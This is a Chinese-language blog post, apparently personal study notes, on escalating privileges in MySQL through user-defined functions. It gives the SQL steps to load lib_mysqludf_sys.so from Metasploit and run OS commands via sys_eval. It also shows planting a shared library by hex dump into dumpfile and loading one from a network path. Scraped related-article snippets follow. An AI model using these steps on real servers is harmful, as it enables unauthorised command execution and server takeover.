MySQL提权 通过UDF
UDF是什么
参考:https://www.cnblogs.com/litlife/p/9030673.html
UDF = 'user defined function',即用户自定义函数。 通过添加新函数,对MySQL的功能进行扩充,就类似使用本地函数如abs() 或 concat() 一样。
UDF在mysql5.1以后的版本中,存在于‘mysql/lib/plugin’目录下,文件后缀为.dll 或 .so;
命令执行
参考:https://blog.csdn.net/x728999452/article/details/52413974
参考:https://blog.csdn.net/jssg_tzw/article/details/73235232
参考:https://www.cnblogs.com/xishaonian/p/6016486.html
参考:https://www.cnblogs.com/yunsicai/p/4080864.html
我跟着步骤执行失败了,调试了很久,暂时先放弃了。记录一下失败的过程,后期解决。
1.信息收集
show variables like '%version_%';

show variables like "%plugin%";

select @@version;

2.将mysql里面自带的lib_mysqludf_sys.so拷贝到MySQL服务器的./plugin路径

因为没有对/usr/lib/mysql的读写权限,这里暂时找到别的方法绕过,现在手动上传,体验一下UDF而已。
这里也需要注意:利用UDF,有个前提条件就是对/usr/lib/mysql要有读写权限。


3.执行命令
create function sys_eval returns string soname 'lib_mysqludf_sys.so';
报错:
sql> create function sys_eval returns string soname 'lib_mysqludf_sys.so'
[2019-08-29 11:46:08] [HY000][1126] Can't open shared library 'lib_mysqludf_sys.so' (errno: 11 /usr/local/mysql/lib/plugin/lib_mysqludf_sys.so: invalid ELF header)
[2019-08-29 11:46:08] [HY000][1126] Can't open shared library 'lib_mysqludf_sys.so' (errno: 11 /usr/local/mysql/lib/plugin/lib_mysqludf_sys.so: invalid ELF header)
在尝试别的命令看看:
# 参考
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
# 我先执行一个
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
报错:
[2019-08-29 11:49:27] [HY000][1126] Can't open shared library 'lib_mysqludf_sys.so' (errno: 11 /usr/local/mysql/lib/plugin/lib_mysqludf_sys.so: invalid ELF header)
sql> CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so'
[2019-08-29 11:49:27] [HY000][1126] Can't open shared library 'lib_mysqludf_sys.so' (errno: 11 /usr/local/mysql/lib/plugin/lib_mysqludf_sys.so: invalid ELF header)
[2019-08-29 11:49:27] [HY000][1126] Can't open shared library 'lib_mysqludf_sys.so' (errno: 11 /usr/local/mysql/lib/plugin/lib_mysqludf_sys.so: invalid ELF header)
很难过,没有执行成功。心有不甘的吃饭去了。
后面想应该还是自己步骤不对,就找了一份正确的步骤,看看别人是怎么操作,通过和别人的对比,知道是我的.so有问题。(mysql里面的.so 应该是加密过了,导致不起作用)
https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql
在这里重新下载了新的.so ,并放到 ./plugin路径下之后。
执行命令:
create function sys_eval returns string soname 'lib_mysqludf_sys_64.so';
select sys_eval('pwd');

执行成功 !激动。
后续总结一下上传问题:
如果你有对改路径读写权限,有几种方式写入:
- 直接写二进制文本(或者加密后的文本)
- 通过网络路径写入 load_file(///192.168.0.1/udf.so)
文本写入 Example:
select "7f45 4c46 0201 0100 0000 0000 0000 0000
0300 3e00 0100 0000 d00c 0000 0000 0000
# 太长了,省略N行...
0000 0000 0000 0000 0100 0000 0000 0000
0000 0000 0000 0000 " into dumpfile '/usr/local/mysql/lib/plugin/udf_test.so';


写入成功。
远程写入
select "///10.0.27.35/learnphp/udf/lib_mysqludf_sys_64.so" into dumpfile '/usr/local/mysql/lib/plugin/udf_test1.so';


反弹Shell
to-do.
提权
获得管理员权限
to-do.
文章还没有更新完,请关注https://www.cnblogs.com/mysticbinary博客,方便获得最新更新。
MySQL提权 通过UDF的更多相关文章
- MySQL提权之udf提权(无webshell的情况)
0x00 介绍 本篇我们来讲无webshell时利用udf进行提权 0x01 前提 1. 必须是root权限(主要是得创建和抛弃自定义函数) 2. secure_file_priv=(未写路径) 3. ...
- MySQL提权之udf提权(获得webshell的情况)
什么是udf提权? MySQL提供了一个让使用者自行添加新的函数的功能,这种用户自行扩展函数的功能就叫udf. 它的提权原理也非常简单!即是利用了root 高权限,创建带有调用cmd的函数的udf.d ...
- MYSQL提权总结
最近在测试一个项目,遇到了MYSQL数据库,想尽办法提权,最终都没有成功,很是郁闷,可能是自己很久没有研究过提权导致的吧,总结一下MYSQL提权的各种姿势吧,权当复习了.关于mysql提权的方法也就那 ...
- 转载:windows的mysql提权方式
mysql提权语句归纳如下: 一 UDF提权 这类提权方法我想大家已经知道了,我大致写一下,具体语句如下: create function cmdshell returns string soname ...
- mysql提权笔记
最近小菜遇到mysql提权,总是会搞错,就记记笔记吧!以后方便用 先说手工吧! mysql<5.0,导出路径随意:5.0<=mysql<5.1,则需要导出至目标服务器的系统目录(如: ...
- win环境下使用sqlmap写shell + MYSQL提权(默认就是system权限)
今天在来一个mysql提权 (也可以说是默认system权限提的) 在被黑站点找到一个站 先教拿shell是有注入漏洞的 有可能是root权限的注入点 可以确定是有注入漏洞的 也得到了 物理路径 ...
- MYSQL提权的各种姿势
一.利用mof提权 前段时间Kingcope大牛发布了mysql远程提权0day,剑心牛对MOF利用进行了分析,如下: Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的 ...
- MYSQL提权方法
cve-2016-6662 MYSQL提权分析 MySQL <= 5.7.15 远程代码执行/ 提权 (0day) 5.6.33 5.5.52 Mysql分支的版本也受影响,包括: MariaD ...
- mysql提权常用方法。 hack某某
一般是root权限,知道mysql root权限,root账号密码 启动项提权:原理:利用高权限的root写入一个vbs脚本到启动项,再通过一些方法如ddos,社工管理员之类的方法来让服务器重启,运行 ...
随机推荐
- NCD 2019 H. Mr. Hamra and his quantum particles
题意:给你n个数,有m次操作,每次使得两个数相连接,询问q次,问某两个数是否连接在一起. 题解:这其实是一道并查集的裸题,这里就不再多说了,写个路径压缩的find函数即可. 代码: #include ...
- Beautiful numbers CodeForces - 55D
题意: 找出区间[li,ri]内有多少数满足,这个数的每一个位的非0数都能把这个数整除 题解: 因为这个数每一位的值都可以把这个数整除,那也就是说这个数是它所有位数的公倍数,但是可能不是最小公倍数. ...
- Incorrect string value: '\xF0\x9F\x93\xB7</...' for column 'content' at row 1
出现原因:当insert数据中有表情时发生.而这些表情是按照4个字节一个单位进行编码的,而我们使用的utf-8编码在mysql数据库中默认是按照3个字节一个单位进行编码的. 解决方法:将表字段字符集设 ...
- Unmanaged Exports not creating a .lib file
别用VS2017!别用VS2017!别用VS2017!去吧.
- CF1459-C. Row GCD
CF1459-C. Row GCD 题意: 给出两个整数序列\(a.b\),他们的长度分别为\(n,m\).对于数组\(b\)中的每个数字,让你求出\(gcd(a_1+b_j,a_2+b_j,..., ...
- 4.安装fluentd用于收集集群内部应用日志
作者 微信:tangy8080 电子邮箱:914661180@qq.com 更新时间:2019-06-13 11:02:14 星期四 欢迎您订阅和分享我的订阅号,订阅号内会不定期分享一些我自己学习过程 ...
- 宏&一个简单的宏病毒示例
基于VisualBasicForApplications 其一:录制宏 在word,视图,宏,录制宏选项. 操作比较简单,不再赘述. (注意根据需求选择normal还是当前文档) 例如:录制宏:快捷键 ...
- Leetcode(884)-索引处的解码字符串
给定一个编码字符串 S.为了找出解码字符串并将其写入磁带,从编码字符串中每次读取一个字符,并采取以下步骤: 如果所读的字符是字母,则将该字母写在磁带上. 如果所读的字符是数字(例如 d),则整个当前磁 ...
- Java之先行发生原则与volatile关键字详解
volatile关键字可以说是Java虚拟机提供的最轻量级的同步机制,但是它并不容易完全被正确.完整地理解,以至于许多程序员都习惯不去使用它,遇到需要处理多线程数据竞争问题的时候一律使用synchro ...
- 2019牛客多校第五场C generator 2(BSGS)题解
题意: 传送门 已知递推公式\(x_i = a*x_{i - 1} + b\mod p\),\(p\)是素数,已知\(x_0,a,b,p\),给出一个\(n\)和\(v\),问你满足\(x_i = v ...